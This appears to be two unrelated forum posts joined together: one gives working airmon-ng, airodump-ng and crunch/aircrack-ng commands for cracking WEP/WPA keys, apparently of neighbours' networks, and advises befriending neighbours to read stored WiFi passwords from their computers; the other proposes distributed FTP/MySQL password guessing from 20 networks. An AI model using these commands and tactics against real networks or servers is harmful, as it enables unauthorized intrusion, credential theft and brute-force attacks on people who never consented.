As others said, you don't need to install anything to your hdd. Just download Backtrack and boot from Live CD or USB or install only aircrack-ng and crunch.

After booting Backtrack; open terminal and start monitoring
$ airmon-ng start wlan0
$ airodump-ng -w file -a -o cap mon0

and wait until you collect wpa handshake or enough wep ivs. you need a wordlist to crack wpa password, you can use crunch in this case. to crack with crunch;
$ crunch 8 8 | aircrack-ng -w - -b <<macaddress>> file-01.cap

for advanced crunch options see $ man crunch. these 3 steps are enough to crack wep and wpa wifi but advanced options in crunch or good wordlist will decrease cracking time.

or long story is social engineering. be nice to your neighborhoods and sent them gift on special days, talk them, help them and introduce yourself "computer geek", believe me, they will call you when bad things happen to their computer then you can learn wireless key from their pc. Most users use automatic connection which stores password as plain-text.

Hello everyone, this is a nice community to share ideas and knowledge. So, here is my first topic;

FTP/MySQL password guesing from multi-network is a good idea or it will become DDoS rather than password guesing?

Just think about 20 different network/pc and all have internet access and I have access to them (or they are willing to try this). Simple python script will fine with multi-threaded ftp/MySQL connection.

Most ftp servers have a limit for currently connected client but mysql don't. One network can make 20 request per second/2 seconds (based on connection) and that will be equal to 400 request per second.

Is it a good idea or just a "garbage".
